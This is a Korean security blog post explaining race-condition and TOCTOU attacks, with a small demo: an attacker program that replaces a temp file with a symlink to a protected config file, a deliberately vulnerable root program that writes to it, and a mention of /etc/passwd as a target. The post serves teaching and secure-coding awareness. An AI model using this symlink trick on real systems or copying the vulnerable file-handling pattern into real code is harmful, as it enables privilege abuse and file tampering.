글을 얼마나 뽑아낼 수 있을지 모르겠네요..
일단 Race Condition 기법은 이름 그대로 "경쟁조건" 을 의미하는 공격이고 취약한 프로그램이 사용하는 부분을 동일하게 점유하여 경쟁하고 반복적인 요청 중 공격프로그램이 이길 시 공격자가 원하는 흐름으로 프로그램의 로직을 바꿀수가 있습니다.
물론 전통적인 system hacking 기법 중 하나이고, 웹이나 앱 어디에서도 유사한 형태로 쓰일 수 있습니다.
(물론 Race Condition에 취약한 프로그램이 있다는 가정 하에..)
이부분 궁금하신건 댓글주시거나, 구글링 좀 해보시면 많은 자료들이 있습니다. :)
이 중 TOCTOU(Time-of-check Time-of-use)를 활용한 Race condition 공격에 대한 이야기를 할까 합니다.
TOCTOU는 아주 오래된 기법입니다. 어디서 주워듣기론 1980년대 이 이름을 붙이 공격이 탄생하였고,
많이 나타나진 않지만 전통적인 해킹기법으로 알려진 공격기법입니다.
대체로 TOCTOU가 적용된 Race Condition이 다수이며 시스템 공격뿐만 아니라 웹 Base의 환경에서도 가능하다고 보았던 기억이 납니다.
TOCTOU(Time-of-check Time-of-use) Attack
Race Condition을 활용한 공격 중 TOCTOU 공격이 있습니다.File Access Race Condition으로도 불리며 Race Condition 예제 중 많이 보이는 내용이기도 합니다.
공격에 대한 기본 원리는 아래와 같습니다.
Program이 데이터를 확인하고, 사용하는 그 시간에 공격자의 코드가 개입하여 흐름을 바꾸게 됩니다.
대체로 Race Condition과 함께 Symbolic Link를 거는 형태의 자료들이 많이 있습니다.
권한이 있는 프로그램이 사용중이 파일이나 메모리에 다른 프로그램(공격자)가 간섭해서 데이터를 오염시키거나, 변조할 수 있는 생각보다 위험한 공격이지요. Linux 에서의 Secure Coding에서도 TOCTOU와 Race Condition에 중요성이 나타나지요.
(https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html)
TOCTOU Race Condition
Race Condition을 통해 TOCTOU를 알아볼까합니다.많은 예제가 이 부분에 대해 다루고 있죠.
준비물은 간단합니다. 공격자가
1. attack.c -> ./attack
+ perm: user
Attack.c
#include <stdio.h>
void main()
{
system("rm ./tmp");
symlink("./target/config","tmp");
}
2. vuln.c -> ./vuln+ perm: root
#include <stdio.h>
#include <stdlib.h>
FILE *fp;
char str[]="life log.[system]";
int i=1;
void main()
{
while(i)
{
fp = fopen("tmp","wb++");
fwrite(str,1,sizeof(str),fp);
printf("Write Tmp File :: %d\n",i);
fclose(fp);
sleep(1); //
i+=1;
}
}
3. target/config -> target file+ perm: high level user
+ or /etc/passwd 등등
# example.. zz
Remote Security Mode: ON
# ./vuln
# ./attack
# cat target/config
life log.[system]
핵심원리는 간단합니다. 임시 파일이나 메모리값을 권한이 있는 소프트웨어가 확인하고 사용하는 찰나 Race Condition 등 공격자의 코드가 그 부분에 간섭하여 흐름을 바꾸는 것 입니다.
Reference
https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOUhttps://www.owasp.org/index.php/Race_Conditions
https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html
HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment